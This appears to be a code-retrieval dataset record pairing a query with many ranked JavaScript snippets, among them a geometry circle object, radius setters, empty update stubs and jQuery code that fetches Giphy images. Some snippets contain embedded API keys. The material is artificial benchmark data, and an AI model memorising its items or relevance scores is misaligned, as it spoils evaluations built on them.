Circle3ptsObject(_construction, _name, _P1, _P2, _P3) {\n var M = new CenterObject(_construction, \"_Center\", this);\n _construction.add(M);\n\n $U.extend(this, new PrimitiveCircleObject(_construction, _name, M)); // Héritage\n $U.extend(this, new MoveableObject(_construction)); // Héritage\n\n M.setParent(this);\n M.forceFillStyle(this.prefs.color.point_inter);\n M.setHidden(true);\n\n var me = this;\n var P1 = _P1;\n var P2 = _P2;\n var P3 = _P3;\n this.setParent(P1, P2, P3);\n\n this.redefine = function(_old, _new) {\n if (_old === P1) {\n this.addParent(_new);\n P1 = _new;\n } else if (_old === P2) {\n this.addParent(_new);\n P2 = _new;\n } else if (_old === P3) {\n this.addParent(_new);\n P3 = _new;\n }\n };\n\n this.setDefaults(\"circle\");\n\n this.getCode = function() {\n return \"circle3pts\";\n };\n\n this.getM = function() {\n return M;\n };\n\n this.getValue = function() {\n return (me.getCn().coordsSystem.l(me.R));\n };\n\n this.fixIntersection = function(_x, _y, _P) {\n if (P1.near(_x, _y)) {\n _P.setAway(P1);\n return true;\n }\n if (P2.near(_x, _y)) {\n _P.setAway(P2);\n return true;\n }\n if (P3.near(_x, _y)) {\n _P.setAway(P3);\n return true;\n }\n return false;\n };\n\n // Seulement pour les macros :\n this.setMacroAutoObject = function() {\n var vn = this.getVarName();\n P1.setMacroMode(1);\n P1.setMacroSource(function(src) {\n src.geomWrite(false, P1.getVarName(), \"DefinitionPoint\", vn, 0);\n });\n P2.setMacroMode(1);\n P2.setMacroSource(function(src) {\n src.geomWrite(false, P2.getVarName(), \"DefinitionPoint\", vn, 1);\n });\n P3.setMacroMode(1);\n P3.setMacroSource(function(src) {\n src.geomWrite(false, P3.getVarName(), \"DefinitionPoint\", vn, 2);\n });\n };\n // Seulement pour les macros :\n this.isAutoObjectFlags = function() {\n return (P1.Flag || P2.Flag || P3.Flag);\n };\n // Seulement pour les macros :\n this.getPt = function(_i) {\n if (_i === 0)\n return P1;\n if (_i === 1)\n return P2;\n return P3;\n };\n\n this.isMoveable = function() {\n // Si les extrémités sont des points libres :\n if ((P1.getParentLength() === 0) && (P2.getParentLength() === 0) && (P3.getParentLength() === 0))\n return true;\n return false;\n };\n\n this.dragObject = function(_x, _y) {\n var vx = _x - this.startDragX;\n var vy = _y - this.startDragY;\n M.setXY(M.getX() + vx, M.getY() + vy);\n P1.setXY(P1.getX() + vx, P1.getY() + vy);\n P2.setXY(P2.getX() + vx, P2.getY() + vy);\n P3.setXY(P3.getX() + vx, P3.getY() + vy);\n this.startDragX = _x;\n this.startDragY = _y;\n };\n\n this.computeDrag = function() {\n this.computeChilds();\n };\n\n this.paintObject = function(ctx) {\n ctx.beginPath();\n ctx.arc(M.getX(), M.getY(), this.R, 0, Math.PI * 2, true);\n ctx.fill();\n ctx.stroke();\n };\n\n this.compute = function() {\n var t = $U.computeCenter(P1.getX(), P1.getY(), P2.getX(), P2.getY(), P3.getX(), P3.getY());\n M.setXY(t[0], t[1]);\n this.R = $U.computeRay(M.getX(), M.getY(), P1.getX(), P1.getY());\n };\n\n this.getSource = function(src) {\n src.geomWrite(false, this.getName(), \"Circle3pts\", P1.getVarName(), P2.getVarName(), P3.getVarName());\n };\n\n\n}", "title": "" }, { "docid": "1946ea215144c398296043b27073915e", "score": "0.5613044", "text": "function ye(b){this.radius=b}", "title": "" }, { "docid": "1946ea215144c398296043b27073915e", "score": "0.5613044", "text": "function ye(b){this.radius=b}", "title": "" }, { "docid": "86cc3647848492fef52191689d755bcc", "score": "0.5612435", "text": "getRadius() {\n return (this.radius)\n }", "title": "" }, { "docid": "042f4332f80777616a50cc426a75a17b", "score": "0.5607724", "text": "function Zb(a){this.radius=a}", "title": "" }, { "docid": "b90142f9649d6af9ed7cc703c453f45f", "score": "0.56024826", "text": "getPointRadius() {\n const chart = this.chart, plotWidth = chart.plotWidth, plotHeight = chart.plotHeight, seriesOptions = this.options, useSimulation = seriesOptions.useSimulation, smallestSize = Math.min(plotWidth, plotHeight), extremes = {}, radii = [], allDataPoints = chart.allDataPoints || [], allDataPointsLength = allDataPoints.length;\n let minSize, maxSize, value, radius;\n ['minSize', 'maxSize'].forEach((prop) => {\n const length = parseInt(seriesOptions[prop], 10), isPercent = /%$/.test(seriesOptions[prop]);\n extremes[prop] = isPercent ?\n smallestSize * length / 100 :\n length * Math.sqrt(allDataPointsLength);\n });\n chart.minRadius = minSize = extremes.minSize /\n Math.sqrt(allDataPointsLength);\n chart.maxRadius = maxSize = extremes.maxSize /\n Math.sqrt(allDataPointsLength);\n const zExtremes = useSimulation ?\n this.calculateZExtremes() :\n [minSize, maxSize];\n allDataPoints.forEach((point, i) => {\n value = useSimulation ?\n clamp(point[2], zExtremes[0], zExtremes[1]) :\n point[2];\n radius = this.getRadius(zExtremes[0], zExtremes[1], minSize, maxSize, value);\n if (radius === 0) {\n radius = null;\n }\n allDataPoints[i][2] = radius;\n radii.push(radius);\n });\n this.radii = radii;\n }", "title": "" }, { "docid": "73e26803f6519b5d4b04add68cc733d3", "score": "0.5596699", "text": "function changeRadius() {\n heatmap.set('radius', heatmap.get('radius') ? null : 50);\n}", "title": "" }, { "docid": "b0efb52f3040e7d9ccf4e6a9580a350b", "score": "0.55826944", "text": "set area( area ) {\n this.radius = Math.sqrt(area / pi)\n }", "title": "" }, { "docid": "b580a9ec6efd30aa4ef71ab0e5293d19", "score": "0.55789465", "text": "getPoint ( x0,y0,z0,radius ) {\n\n\t\tvar u = Math.random();\n\t\tvar v = Math.random();\n\t\tvar theta = 2 * Math.PI * u;\n\t\tvar phi = Math.acos(2 * v - 1);\n\t\tvar x = x0 + (radius * Math.sin(phi) * Math.cos(theta));\n\t\tvar y = y0 + (radius * Math.sin(phi) * Math.sin(theta));\n\t\tvar z = z0 + (radius * Math.cos(phi));\n\t\treturn new THREE.Vector3(x,y,z);\n\n\t}", "title": "" }, { "docid": "21df9bed8b68cf064de5c23290838dc4", "score": "0.557668", "text": "function Lf(a){this.radius=a}", "title": "" }, { "docid": "f820d004744545f45d7887f1801388c5", "score": "0.55727303", "text": "constructor(x, y, diameter) {\n this.x = x;\n this.y = y;\n this.diameter = diameter;\n }", "title": "" }, { "docid": "b25f44fdeadaf5275345704b750fd2b5", "score": "0.5563676", "text": "function Circle(radius){\nthis.radius = radius;\n}", "title": "" }, { "docid": "8b6e448aecb12f3164123208bffc25d4", "score": "0.5558042", "text": "setRadius(radius) {\r\n this.element.style.borderRadius =\r\n ((radius < 0 ? 0 : radius) || (radius > 50 ? 50 : radius)) + \"%\";\r\n }", "title": "" }, { "docid": "f1aefcc9a58b6fe0690c3c704578fd27", "score": "0.5541192", "text": "recurveToRadius(pt, pCentroid, radius) {\n\tthis._assertLatLon([pt, pCentroid]);\n\tvar p3 =0, p4 =0;\n\treturn new ETGlobeMath.LatLon(p3, p4);\n }", "title": "" }, { "docid": "fba7c5fda4fbaeb38a27b7cc13db834f", "score": "0.5540031", "text": "function setRadius() {\n var txtRadius = document.getElementById(\"txtRadius\").value;\n var val = parseFloat(txtRadius);\n if (txtRadius != \"\" && txtRadius != null && val > 0) {\n\n var color = \"#fff\";\n var str = \"#738F9B\";\n if (circ) {\n circ.setMap(map);\n circ.setRadius(val);\n } \n else {\n circ = new google.maps.Circle({\n center: mylatlng,\n fillColor: color,\n fillOpacity: 0.4,\n map: map,\n radius: val,\n strokeColor: str\n });\n }\n \n }\n }", "title": "" }, { "docid": "c3ef3497d4e7fc8ca826296aebc63b2d", "score": "0.55223924", "text": "constructor(radius, initialposisition, initalspeed, color = \"red\") {\n this.radius = radius;\n this.position = initialposisition;\n this.speed = initalspeed;\n this.color = color;\n }", "title": "" }, { "docid": "af93a549e5f76a75e0b98ed6f07cf22b", "score": "0.551493", "text": "set r(newValue) { // write-only, cant read\r\n var oldValue = Math.sqrt(this.x * this.x, this.y * this.y);\r\n var ratio = newValue / oldValue;\r\n this.x *= ratio;\r\n // x is accessed by this.x\r\n this.y *= ratio;\r\n }", "title": "" }, { "docid": "20b2119879d0108d839267479ae21abc", "score": "0.5514153", "text": "_update_layer_dot_size(layer, size)\n {\n layer.eachLayer(marker => marker.setRadius(size ? size : this.station_size_dot));\n }", "title": "" }, { "docid": "205dac76c909eb191ea9a8274453a197", "score": "0.55132717", "text": "function circleCircum(radius){//Parameter\n\n//circumference of circle is 2*PI*radius\n var circumference = 2*Math.PI*radius;\n\n return circumference;\n\n\n\n\n\n}", "title": "" } ]
1632d57b2f1623ba7fcddec6d4395d95
this function will update
[ { "docid": "3bc4f8d02df8064f7d1d0eebed879768", "score": "0.0", "text": "function nextQuestion() {\n\n}", "title": "" } ]
[ { "docid": "7d2da88beefe791ac8ddc4fd49eb3f38", "score": "0.80407804", "text": "function update() {}", "title": "" }, { "docid": "1040529cb7a597271fba2803a06ce880", "score": "0.8030977", "text": "function update() {\n\t\t\n\t}", "title": "" }, { "docid": "2994ee4c17b9613df258e61dbc6dbb0b", "score": "0.79056656", "text": "update()\n {\n \n }", "title": "" }, { "docid": "68fe5354a9e700454f645d1bc3611a47", "score": "0.76600415", "text": "update() {}", "title": "" }, { "docid": "68fe5354a9e700454f645d1bc3611a47", "score": "0.76600415", "text": "update() {}", "title": "" }, { "docid": "68fe5354a9e700454f645d1bc3611a47", "score": "0.76600415", "text": "update() {}", "title": "" }, { "docid": "68fe5354a9e700454f645d1bc3611a47", "score": "0.76600415", "text": "update() {}", "title": "" }, { "docid": "68fe5354a9e700454f645d1bc3611a47", "score": "0.76600415", "text": "update() {}", "title": "" }, { "docid": "68fe5354a9e700454f645d1bc3611a47", "score": "0.76600415", "text": "update() {}", "title": "" }, { "docid": "68fe5354a9e700454f645d1bc3611a47", "score": "0.76600415", "text": "update() {}", "title": "" }, { "docid": "68fe5354a9e700454f645d1bc3611a47", "score": "0.76600415", "text": "update() {}", "title": "" }, { "docid": "68fe5354a9e700454f645d1bc3611a47", "score": "0.76600415", "text": "update() {}", "title": "" }, { "docid": "485c0859e205661831c0cddd0e873585", "score": "0.7634528", "text": "function updateroster() {\n\n}", "title": "" }, { "docid": "99d03e96344cffed47d59f45fd6119ce", "score": "0.7626225", "text": "update() { }", "title": "" }, { "docid": "99d03e96344cffed47d59f45fd6119ce", "score": "0.7626225", "text": "update() { }", "title": "" }, { "docid": "161338a382f6088ba444a7bf74555687", "score": "0.7615426", "text": "function update() {\n // ... no implementation required\n }", "title": "" }, { "docid": "855a85b5f26b493702b9278efb119037", "score": "0.7575563", "text": "update () {}", "title": "" }, { "docid": "2c2572da501a65c296882301cd2965a0", "score": "0.7524554", "text": "function update() {\n \n}", "title": "" }, { "docid": "e4131e30cf60710dd38d53e062fd8069", "score": "0.74972004", "text": "function update() {\n\t\n\n\n\n}", "title": "" }, { "docid": "1b251685121095b734ff4ea74778e8ac", "score": "0.74715114", "text": "update() {\n // Subclasses should override\n }", "title": "" }, { "docid": "3cdd336cc96209de95176a3414613856", "score": "0.7416152", "text": "_update() {\n }", "title": "" }, { "docid": "84e6edf37204b52587629e712e5fccc1", "score": "0.7365339", "text": "function update()\n{\n\n}", "title": "" }, { "docid": "7138b8ccdb30bfbe1ecf01ee201e1da2", "score": "0.7330871", "text": "async update() {}", "title": "" }, { "docid": "aee6f05097e971a61eca0759634385a7", "score": "0.7237718", "text": "update() {\n }", "title": "" }, { "docid": "aee6f05097e971a61eca0759634385a7", "score": "0.7237718", "text": "update() {\n }", "title": "" }, { "docid": "aee6f05097e971a61eca0759634385a7", "score": "0.7237718", "text": "update() {\n }", "title": "" }, { "docid": "d2da5a4c97a07482cc94216d5240f8a5", "score": "0.7236428", "text": "update() {\n \n }", "title": "" }, { "docid": "978011e2cb9dd2cf19deef860bb439a3", "score": "0.72326654", "text": "updated() {}", "title": "" }, { "docid": "8546fe6eeea3f117ced9ee1cc21ed557", "score": "0.720662", "text": "update() {\n\n }", "title": "" }, { "docid": "8546fe6eeea3f117ced9ee1cc21ed557", "score": "0.720662", "text": "update() {\n\n }", "title": "" }, { "docid": "8546fe6eeea3f117ced9ee1cc21ed557", "score": "0.720662", "text": "update() {\n\n }", "title": "" }, { "docid": "8546fe6eeea3f117ced9ee1cc21ed557", "score": "0.720662", "text": "update() {\n\n }", "title": "" }, { "docid": "8546fe6eeea3f117ced9ee1cc21ed557", "score": "0.720662", "text": "update() {\n\n }", "title": "" }, { "docid": "8546fe6eeea3f117ced9ee1cc21ed557", "score": "0.720662", "text": "update() {\n\n }", "title": "" }, { "docid": "8546fe6eeea3f117ced9ee1cc21ed557", "score": "0.720662", "text": "update() {\n\n }", "title": "" }, { "docid": "ec43ded7e3fbf6ca7871f606266b7f5e", "score": "0.7172467", "text": "update(startingData) {}", "title": "" }, { "docid": "a36939ca0b7882e26c1c711a2bb4a353", "score": "0.7139386", "text": "update() {\n\n }", "title": "" }, { "docid": "a36939ca0b7882e26c1c711a2bb4a353", "score": "0.7139386", "text": "update() {\n\n }", "title": "" }, { "docid": "a36939ca0b7882e26c1c711a2bb4a353", "score": "0.7139386", "text": "update() {\n\n }", "title": "" }, { "docid": "a36939ca0b7882e26c1c711a2bb4a353", "score": "0.7139386", "text": "update() {\n\n }", "title": "" }, { "docid": "a36939ca0b7882e26c1c711a2bb4a353", "score": "0.7139386", "text": "update() {\n\n }", "title": "" }, { "docid": "a36939ca0b7882e26c1c711a2bb4a353", "score": "0.7139386", "text": "update() {\n\n }", "title": "" }, { "docid": "a36939ca0b7882e26c1c711a2bb4a353", "score": "0.7139386", "text": "update() {\n\n }", "title": "" }, { "docid": "6b823ebf51b995de4e4d737d27eb0acc", "score": "0.70199025", "text": "update () {\n\n\n }", "title": "" }, { "docid": "ebdf5ce9de1902861cabea83a9958852", "score": "0.6999638", "text": "update () {\n\n\n\n }", "title": "" }, { "docid": "1b5e3eb22633d669faeb89637ab64b63", "score": "0.6987222", "text": "update() {\n // ...\n }", "title": "" }, { "docid": "7d706da556688f2b8e598249e2e28a39", "score": "0.69555074", "text": "update() {\n }", "title": "" }, { "docid": "7d706da556688f2b8e598249e2e28a39", "score": "0.69555074", "text": "update() {\n }", "title": "" }, { "docid": "a89fbadfa228c6a5d0db308116ea96c3", "score": "0.6929874", "text": "update(){}", "title": "" }, { "docid": "a89fbadfa228c6a5d0db308116ea96c3", "score": "0.6929874", "text": "update(){}", "title": "" }, { "docid": "a89fbadfa228c6a5d0db308116ea96c3", "score": "0.6929874", "text": "update(){}", "title": "" }, { "docid": "8da0f55d2b5c9ad6b1aa8e4aab48bec7", "score": "0.69231856", "text": "function update() {\n \n \n}", "title": "" }, { "docid": "5d2700087877d7ace0dbe5382d1184c3", "score": "0.68430185", "text": "update(){\n\n }", "title": "" }, { "docid": "d1dd0c52579997727d3498130a97ee1e", "score": "0.68157285", "text": "update () {\n }", "title": "" }, { "docid": "e50dfbda9631971edefe1c304e13e82e", "score": "0.67901796", "text": "afterUpdate() {}", "title": "" }, { "docid": "c6fe9249ac3119aeb5e38f105a934744", "score": "0.67256844", "text": "update(){\n }", "title": "" }, { "docid": "c6fe9249ac3119aeb5e38f105a934744", "score": "0.67256844", "text": "update(){\n }", "title": "" }, { "docid": "a2e1545352c8af21c53fc928d25ad129", "score": "0.67229253", "text": "function updateData() {\n\t/*\n\t* TODO: Fetch data\n\t*/\n}", "title": "" }, { "docid": "b9c34edc2e5a833b2fbbe3c084625145", "score": "0.67159534", "text": "function update() {\n updateBodyCostDisplay();\n updateAddedComponentDisplay();\n updateBodyStringDisplay();\n updateComponentCountDisplay();\n updateComponentCountTable();\n updateProgressBar();\n }", "title": "" }, { "docid": "75270326d5d59f6972f061967eea327c", "score": "0.67076725", "text": "function update(){\n keepResources()\n keepPopulation();\n keepProtection();\n keepPolitics();\n keepTech();\n}", "title": "" }, { "docid": "167c3f6d33f6693ae73b3b4d98ec4858", "score": "0.67041796", "text": "function update() {\n\n\tupdateFocus();\n\tupdateFamilyTooltip();\n\tupdateHighlights();\n}", "title": "" }, { "docid": "99a3b49f1ce30299963e6201a95724c2", "score": "0.6627578", "text": "function _update(){\n\t\t$scope.timing= SoundService.getPosition();\n\t\t$scope.timingpercent= SoundService.getPositionPercent();\n\t}", "title": "" }, { "docid": "5b91a985432537bc7bfb03a1dfb524ab", "score": "0.6586005", "text": "function refresh(){\n setUpdate(!update)\n }", "title": "" }, { "docid": "509ebb1be98e678a87e261ee3e3b93b0", "score": "0.65849197", "text": "refresh()\n\t{\n\t}", "title": "" }, { "docid": "7205bf6717012bad4e55688cb06499e2", "score": "0.65593797", "text": "function update(){\n\t\tsubHeader();\n\t\tpagePositions();\n\t}", "title": "" }, { "docid": "362ddbf8abd18f191000faf1a0e37ffa", "score": "0.6555969", "text": "apply() {\n this.update();\n }", "title": "" }, { "docid": "c7849f4bbc87c9142661c38fbf60f011", "score": "0.65447634", "text": "didUpdate() { }", "title": "" }, { "docid": "8a7404b1711d2b93fd69953c4d0ea889", "score": "0.6524766", "text": "function updateCurrentCost(){\n \n}", "title": "" }, { "docid": "951761a83ce42cc3eba1f2903e8e4ccb", "score": "0.6523672", "text": "update()\n\t{ \n\t\tthrow new Error(\"update() method not implemented\");\n\t}", "title": "" }, { "docid": "569358645edb4430fc22ab8d2dc14d57", "score": "0.65180993", "text": "function startUpdate(){\n updating = true;\n }", "title": "" }, { "docid": "51aa2a1f69ba1825a29921b02d2ab715", "score": "0.6512563", "text": "didUpdate() {}", "title": "" }, { "docid": "1819b9c465215e66f485cb32ef01d70b", "score": "0.6481523", "text": "updateToAll() {}", "title": "" }, { "docid": "3c133b2885be383ec30e2cae68b67de8", "score": "0.6480052", "text": "update() {\n this.poll();\n }", "title": "" }, { "docid": "fc3b677ec264a1f6b062234698476e3b", "score": "0.6458294", "text": "function update(){\r\n updateBackground();\r\n //extractData();\r\n loop();\r\n // checkStatus();\r\n \r\n}", "title": "" }, { "docid": "f5de96baf74bdb8b541c9d0959adabe1", "score": "0.6448654", "text": "function updateFunction() {\n \tupdatePreview();\n \tupdateHTMLCode();\n }", "title": "" }, { "docid": "f4cc1659759c03da2cb91b8f420cb886", "score": "0.6444888", "text": "function refreshInfo() { \t \n everyone.now.setStatus(statusv);\n\t upSongNum();\n\t setTimeout(upPlaylist(everyone),350);\n }", "title": "" }, { "docid": "5f59fc5c4d4aa6087b96a8cc027beccf", "score": "0.64376664", "text": "update(delta) {}", "title": "" }, { "docid": "aafaac61a70968b7d55a2c1ed8f7a05e", "score": "0.6428872", "text": "function update() {\n controls.update();\n stats.update();\n }", "title": "" }, { "docid": "fec7e7de1c842b441bc1ff920ffa56c8", "score": "0.6405631", "text": "function update() {\n update_group();\n update_center();\n}", "title": "" }, { "docid": "38b381d4b28ce0e4d753d75f5a684cb7", "score": "0.63812137", "text": "update() {\r\n this.sendDetail();\r\n }", "title": "" }, { "docid": "ce07e58c024835384cc908765338a952", "score": "0.637565", "text": "function updateData() \n{\n\tObject.keys(raidApp.selectedLocations).forEach((key) => \n\t{\n\t\tconst raid = raidApp.selectedLocations[key];\n\t\tconst card = getRaidCard(raid);\n\t\t// CODELAB: Add code to call getForecastFromCache\n\n\t\t// Get the forecast data from the network.\n\t\t//getRaidFromNetwork(location.geo).then((forecast) => {\n\t\t//renderForecast(card, forecast);\n\t\t//});\n\t\trenderRaid(card, raid) \n\t});\n}", "title": "" }, { "docid": "15e79b03cd4c39d137ed1a553b1439ca", "score": "0.63736135", "text": "function updateInformation() {\n\t\tupdateBattery();\n\n\t}", "title": "" }, { "docid": "f58ee553bc66448345c4a94b083f80f4", "score": "0.6362577", "text": "function Update(self){\n self.key.update(); //do not edit this line\n /********************************/\n /**PUT YOUR UPDATING CODE BELOW**/\n /*******************************/\n\n\n}", "title": "" }, { "docid": "64ac4f7a02301dc5710ff94de58d3317", "score": "0.6358343", "text": "function update() {\n $scope.items.shift();\n $scope.items.push(generateRow());\n $scope.usage1 = setUsage();\n $scope.usage2 = setUsage();\n $scope.usage3 = setUsage();\n $scope.usage4 = setUsage();\n $scope.mapObject.data = mapChanges();\n $timeout(update, updateInterval);\n }", "title": "" }, { "docid": "412b8c36d41ba1f5ae8c8ec677bf960b", "score": "0.63483816", "text": "function updatePrices() {\n}", "title": "" }, { "docid": "f3830919b7913ed899915e1d1067556b", "score": "0.6336839", "text": "update() {\n if (this.newObst === true) {\n this.randomize();\n this.newObst = false;\n }\n }", "title": "" }, { "docid": "2650adc6ef0a5b9ff5c90361d7525ffe", "score": "0.633418", "text": "function update(data) {\n console.log('+++ TODO');\n }", "title": "" }, { "docid": "eb38ea3e9d522ab30a15464b34c59d8e", "score": "0.63203377", "text": "updated(e){}", "title": "" }, { "docid": "a5e76b29d3532cf562e4ecc3627fe21a", "score": "0.6317619", "text": "willUpdate() {\n }", "title": "" }, { "docid": "43f5d89c228c805b734baf58e11ba850", "score": "0.63156277", "text": "update() {\n\t\tthis.output = this.tempOutput;\n\t}", "title": "" }, { "docid": "90f8e6eb0e4d4fa07d34cfd4ca50c12d", "score": "0.63096964", "text": "updateSelfData(ro) {}", "title": "" }, { "docid": "2c16318bbba432dc5c256eb5e4b77d62", "score": "0.6306396", "text": "function updateAll() {\n updateForces();\n updateDisplay();\n}", "title": "" }, { "docid": "c99e71f244df86dcac6443d3ca3e4ea8", "score": "0.63026357", "text": "update() {\n\t this.value = this.originalInputValue;\n\t }", "title": "" }, { "docid": "2c61eaad19eeadcbe55cbeb4c30acf7f", "score": "0.6302053", "text": "function update() {\n\t\tmarkers.update();\n\t}", "title": "" }, { "docid": "b2ae6c6bab0776e834a8712cbda7194a", "score": "0.6299328", "text": "function update() {\n updaters.forEach(function (f) { f(); });\n }", "title": "" }, { "docid": "a8844d41e5189c0a72431cbc9e63befb", "score": "0.6285504", "text": "update() {\n return update.call(this);\n }", "title": "" }, { "docid": "d1f0e9f1b98aa527f1fd9843490671a3", "score": "0.6284013", "text": "function update() {\n clock += change();\n render();\n }", "title": "" }, { "docid": "23f99ebff50fd67289b65ceb85238705", "score": "0.62721574", "text": "function update() {\n // Extract from the object id the corresponding index of the array\n let index = checkIndex(this.id)[0];\n\n // Update the array based on the existing value of the array\n if (binaryNumbers[index]) {\n binaryNumbers[index] = 0;\n } else {\n binaryNumbers[index] = 1;\n }\n\n setIconAndNumbers();\n setDecimal();\n}", "title": "" }, { "docid": "4d11b9f8285fbc6a3222bdeda017e9ef", "score": "0.6271681", "text": "update() {\n this.forceUpdate();\n }", "title": "" }, { "docid": "4d11b9f8285fbc6a3222bdeda017e9ef", "score": "0.6271681", "text": "update() {\n this.forceUpdate();\n }", "title": "" }, { "docid": "b65242759a67dc3bc61c25927a99cac8", "score": "0.62692636", "text": "update() {\r\n this.draw();\r\n inputChange();\r\n }", "title": "" } ]
37be53594bf6df64a0a8413e54a5ec22
api key for giphy sLSjZUESfu4Ubt5BP9s55TNsO03yb5O0 visit: render animated series buttons
[ { "docid": "1d2d89727b5205cc6ef223b49250e1f5", "score": "0.6352703", "text": "function renderSeries () {\n $(\"#buttons\").empty();\n\n for (i = 0; i < animatedSeries.length; i++){\n var btn = $(\"<button>\");\n btn.addClass(\"btn btn-outline-dark\");\n btn.attr(\"id\", \"Aseries\");\n btn.attr(\"type\", \"button\");\n btn.attr(\"data-animated\", animatedSeries[i]);\n btn.text(animatedSeries[i]);\n $(\"#buttons\").append(btn);\n }\n}", "title": "" } ]
[ { "docid": "51e9a26fe90c050082653825eaf87d70", "score": "0.60919696", "text": "function renderButtons() {\n\n $(\"#buttons-view\").empty();\n \n // Looping through the array of series\n for (var i = 0; i < giphys.length; i++) {\n \n // Dynamicaly generating buttons for each movie in the array\n var a = $(\"<button>\");\n a.addClass(\"giphy\");\n a.addClass(\"btn\");\n a.attr(\"data-name\", giphys[i]);\n a.text(giphys[i]);\n\n $(\"#buttons-view\").append(a);\n }\n}", "title": "" }, { "docid": "b909f9de56bf886ae63d01af1a9a9351", "score": "0.5960075", "text": "function displaySeries () {\nvar seriesValue = $(this).attr(\"data-animated\");\nvar API = \"&api_key=sLSjZUESfu4Ubt5BP9s55TNsO03yb5O0\"\nvar queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +seriesValue+API;\n\n$.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response){\n console.log(queryURL);\n console.log(response);\n\n// storing the data from the AJAX request in the results variable\nvar ajaxResponse = response.data;\nconsole.log(ajaxResponse);\n\nfor (var i = 0; i < 10; i++) {\n var seriesGIF = $(\"<div>\");\n var rating = $(\"<p>\").text(\"Rating: \"+ajaxResponse[i].rating);\n console.log(rating);\n var title = $(\"<p>\").text(\"Title: \"+ajaxResponse[i].title);\n var GIF = $(\"<img>\");\n GIF.attr(\"src\", ajaxResponse[i].images[\"480w_still\"].url);\n GIF.attr(\"id\", \"gif\");\n GIF.attr(\"class\", \"img-fluid\");\n GIF.attr(\"data-state\", \"still\");\n GIF.attr(\"data-still\", ajaxResponse[i].images[\"480w_still\"].url);\n GIF.attr(\"data-animate\", ajaxResponse[i].images.fixed_height.url);\n console.log(GIF);\n seriesGIF.append(rating);\n seriesGIF.append(title);\n seriesGIF.append(GIF);\n console.log(seriesGIF);\n // download GIF\n var download = $(\"<a>\").text(\"Download GIF\");\n download.attr(\"id\", \"download\");\n download.attr(\"value\", \"download\");\n download.attr(\"href\", ajaxResponse[i].images.fixed_height.url);\n seriesGIF.append(download);\n\n $(\"#load-gif\").prepend(seriesGIF);\n\n // still GIF's and move on click\n$(\"#gif\").on(\"click\", function(){\nvar state = $(this).attr(\"data-state\");\n\nif (state == \"still\") {\n $(this).attr(\"src\", $(this).attr(\"data-animate\"));\n $(this).attr(\"data-state\", \"animate\");\n} else {\n $(this).attr(\"src\", $(this).attr(\"data-still\"));\n $(this).attr(\"data-state\", \"still\");\n}\n});\n};\n});\n}", "title": "" }, { "docid": "3e64200cf3c7112557d30c4911def662", "score": "0.56821746", "text": "function renderButtons() {\n\n // Deleting the movie buttons prior to adding new movie buttons\n // (this is necessary otherwise we will have repeat buttons)\n $(\"#buttons\").empty();\n\n for (var i = 0; i < topics.length; i++) {\n\n // Then dynamicaly generate buttons for each topic in the array.\n var a = $(\"<button>\");\n // Adding a class\n a.addClass(\"dog\");\n a.addClass(\"btn btn-outline-success\");\n // Adding a data-attribute with a value of the topic at index i\n a.attr(\"data-name\", topics[i])\n // Providing the button's text with a value of the topic at index i\n a.text(topics[i]);\n // Adding the button to the HTML\n $(\"#buttons\").append(a);\n\n }\n\n\n //*//Consult Activity Week 6:7 lines 46-60 //*// \n\n //GOAL// When the user clicks on a button, the page should grab 10 static, \n //non-animated gif images from the GIPHY API and place them on the page.\n\n\n //*//Consult Activity Week 6:13 //*//\n\n //Create an onclick function\n $(document).on(\"click\", \".dog\", function () {\n $(\"#dog-gifs-appear-here\").empty();\n\n\n //try pushing the onclick thing into a variable here so that it searches only that\n // exact topic\n\n var dog = $(this).attr(\"data-name\");\n\n //Create a var queryURL https://.... + topics + apikey… + limit 10. \n //Topics is the variable. Consult the GIPHY website to see how the url should look.\n\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + dog +\n \"&api_key=vfa87WI4IKhmgkTU4a7pwucCE1jM2kx6&limit=10\";\n console.log(queryURL);\n\n //Within the onclick function, create an ajax call. \n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n .then(function (response) {\n\n // Storing an array of results in the results variable\n var results = response.data;\n\n console.log(response.data);\n //Then, still within the onclick function, create a for loop that will grab the gifs. \n for (var i = 0; i < results.length; i++) {\n console.log(queryURL);\n\n //In the for loop, dynamically create the div that the gif and rating will be in\n var gifDiv = $(\"<div>\");\n\n //In the for loop, create a variable to house the gif rating \n var rating = results[i].rating;\n\n //In the for loop, create a variable to house the rating and then within that same line of code, \n //add the rating with .text\n var p = $(\"<p>\").text(\"Rating: \" + rating);\n\n //In the for loop, create a variable to house the gif and dynamically create <img>s to house the gif. \n var dogImage = $(\"<img>\");\n\n //dynamically add to each image the class attribute of gif. \n //*This will help later with the animated gif function.\n dogImage.addClass(\"doggy\");\n\n //dynamically add to each image the data-state attribute of still. \n //*This will help later with the animated gif function.\n dogImage.attr(\"data-state\", \"still\")\n\n dogImage.attr(\"data-still\", results[i].images.original_still.url)\n dogImage.attr(\"data-animate\", results[i].images.original.url)\n\n\n // use .attr to change the src attribute to the still image of the gif. \n //In the GIPHY Json there is an a way access the still image going thru the object tree. \n\n // dogImage.attr(\"src\", results[i].images.original_still.url);\n dogImage.attr(\"src\", results[i].images.original_still.url);\n\n //Append both the these to the div\n gifDiv.append(p);\n gifDiv.append(dogImage);\n\n\n //Write the div onto the html \n $(\"#dog-gifs-appear-here\").prepend(gifDiv);\n\n }\n\n //GOAL// When the user clicks one of the still GIPHY images, the gif should animate. \n //If the user clicks the gif again, it should stop playing. \n\n //create another onclick function that selects everything with the .doggy class.\n $(document).on(\"click\", \".doggy\", function () {\n\n console.log(this);\n //Within that onclick function, create a variable called state. \n //var state = $(this).attr(\"data-state\"); This will add the data state of the \n //gif to the variable so that it is easier to switch it. \n var state = $(this).attr(\"data-state\");\n\n // If else statement will animate the gif by switching states.\n\n if (state === \"still\") {\n //this will swtitch the still url to the moving url \n // $(this).attr(\"src\", movingGif);\n $(this).attr(\"src\", $(this).attr(\"data-animate\"))\n //this will switch the data state from still to animate\n $(this).attr(\"data-state\", \"animate\");\n } else {\n //this will switch the moving url to the still\n $(this).attr(\"src\", $(this).attr(\"data-still\"));\n\n //this will switch the data state from animate to still\n $(this).attr(\"data-state\", \"still\");\n }\n\n\n });\n\n });\n\n });\n\n\n }", "title": "" }, { "docid": "123d03acc49d961a82584d842b689c92", "score": "0.56741863", "text": "function renderButtons() {\n // Delete the content inside the movies-view div prior to adding new movies\n $(\"#singers-gif\").empty();\n // Loop through the array of singers, then generate buttons for each new in the array\n var a = $(\"<button>\")\n for 